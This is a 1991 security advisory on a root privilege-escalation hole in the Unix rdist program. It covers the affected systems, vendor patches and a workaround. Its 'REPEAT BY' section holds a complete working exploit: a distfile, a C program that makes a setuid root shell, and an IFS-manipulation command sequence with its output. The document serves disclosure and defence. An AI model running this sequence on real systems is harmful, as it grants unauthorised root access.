This advisory has been sent to:

	comp.security.unix
	INFOHAX			<infohax-emergency@stormking.com>
	BUGTRAQ			<chasin@crimelab.com>
	CERT/CC			<cert@cert.org>

===========================================================================
		[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991

PROGRAM:

	rdist(1)	(/usr/ucb/rdist or /usr/bin/rdist)

VULNERABLE OS's:

	SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
	A/UX 2.0.1
	SCO 3.2v4.2
	BSD NET/2 Derived Systems

	Most systems supporting BSD rdist


DESCRIPTION:

	rdist(1) uses popen(3) to execute sendmail(8) as root.  It can
	therefore be made to execute arbitary programs as root.

IMPACT:

	Any user with access to rdist(1) can become root.

REPEAT BY:

	This example demonstrates how to become root on most affected
	machines by creating a set-uid root shell.  Please do not do
	this unless you have permission.

	Create the following file, 'distfile':

8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
        install /tmp/1 ;
        notify user ;
8<--------------------------- cut here ----------------------------

	Create the following file, 'usr.c':

8<--------------------------- cut here ----------------------------
main()
{
	setuid(0);
	chown("sh", 0, 0);
	chmod("sh", 04755);
	exit(0);
}
8<--------------------------- cut here ----------------------------

	(Lines marked with > represent user input)

>	% cp /bin/sh .
>	% cc -o usr usr.c
>	% set path=(. $path)
>	% setenv IFS /
>	% rdist
	updating host localhost
	rdist: BullInTheHeather: No such file or directory
	notify @localhost ( user )
>	% ls -l
	-rwsr-xr-x  1 root       106496 Mar  4 00:25 sh
>	% ./sh
	#
	
FIX:

	1. Contact your vendor for a fix.  Sun's latest rdist patch
	   (Patch-ID# 100383-06) fixes this hole in SunOS.  Some vendors
	   closed this hole while fixing an unrelated problem published
	   by CERT in their advisory: CA-91:20.rdist.vulnerability.

	2. In the meantime, restrict access to rdist.


FEEDBACK AND CONTACT INFORMATION:

	8lgm-bugs@bagpuss.demon.co.uk		(To report security flaws)

	8lgm-request@bagpuss.demon.co.uk	(Request for [8lgm] Advisories)

	8lgm@bagpuss.demon.co.uk		(General enquiries)

	System Administrators are encouraged to contact us for any
	other information they may require about the problems described
	in this advisory.

	We welcome reports about which platforms this flaw does or does
	not exist on.


------------------------------------------------------------------------------